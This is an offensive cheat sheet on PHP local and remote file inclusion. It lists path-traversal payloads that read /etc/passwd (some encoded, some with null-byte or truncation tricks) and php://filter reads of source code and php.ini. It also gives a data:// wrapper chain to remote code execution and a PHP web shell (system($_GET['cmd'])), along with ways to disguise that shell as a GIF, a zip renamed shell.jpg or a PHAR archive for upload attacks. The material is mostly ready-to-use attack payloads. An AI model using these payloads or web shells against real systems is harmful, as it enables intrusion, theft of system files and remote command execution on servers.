Local and Remote File Inclusion
Basic Payloads
/etc/passwd
../../../../etc/passwd
/../../../etc/passwd
./languages/../../../../etc/passwd
....//....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
../../../../etc/passwd%00
php://filter/read=convert.base64-encode/resource=config
PHP Wrappers to Read Source Code
# make sure you are not adding php at the end
php://filter/read=convert.base64-encode/resource=config
Data Wrapper to RCE
we can get LFI to RCE using DATA wrapper which can be used to include the external code, including PHP, but this will work only in 1 case that if allow_url_include is enabled for this we need to look at the php configuration file to see the allow_url_include is enabled or disabled
php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini
With allow_url_include
enabled, we can proceed with our data
wrapper attack. As mentioned earlier, the data
wrapper can be used to include external data, including PHP code. We can also pass it base64
encoded strings with text/plain;base64
, and it has the ability to decode them and execute the PHP code.
echo '<?php system($_GET["cmd"]); ?>' | base64

Now, we can URL encode the base64 string, and then pass it to the data wrapper
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
# urlencode it
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
We have a successfull RCE.

Remote File Inclusion (RFI)
In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the allow_url_include
setting to be enabled. We can check whether this setting is enabled through LFI
However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL
, and see if we can get its content.
#host it on python server
echo '<?php system($_GET["cmd"]); ?>' > shell.php

LFI and File Upload to RCE
Crafting Malicious Image
we can create a malicious image and then try to get RCE
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
ZIP Upload To RCE
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn't enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg
), as follows:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
PHAR Upload
we can use the phar://
wrapper to achieve a similar result. To do so, we will first write the following PHP script into a shell.php
file:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
This script can be compiled into a phar
file that when called would write a web shell to a shell.txt
sub-file, which we can interact with. We can compile it into a phar
file and rename it to shell.jpg
as follows:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Now, we should have a phar file called shell.jpg
. Once we upload it to the web application, we can simply call it with phar://
and provide its URL path, and then specify the phar sub-file with /shell.txt
(URL encoded) to get the output of the command we specify with (&cmd=id
)
Last updated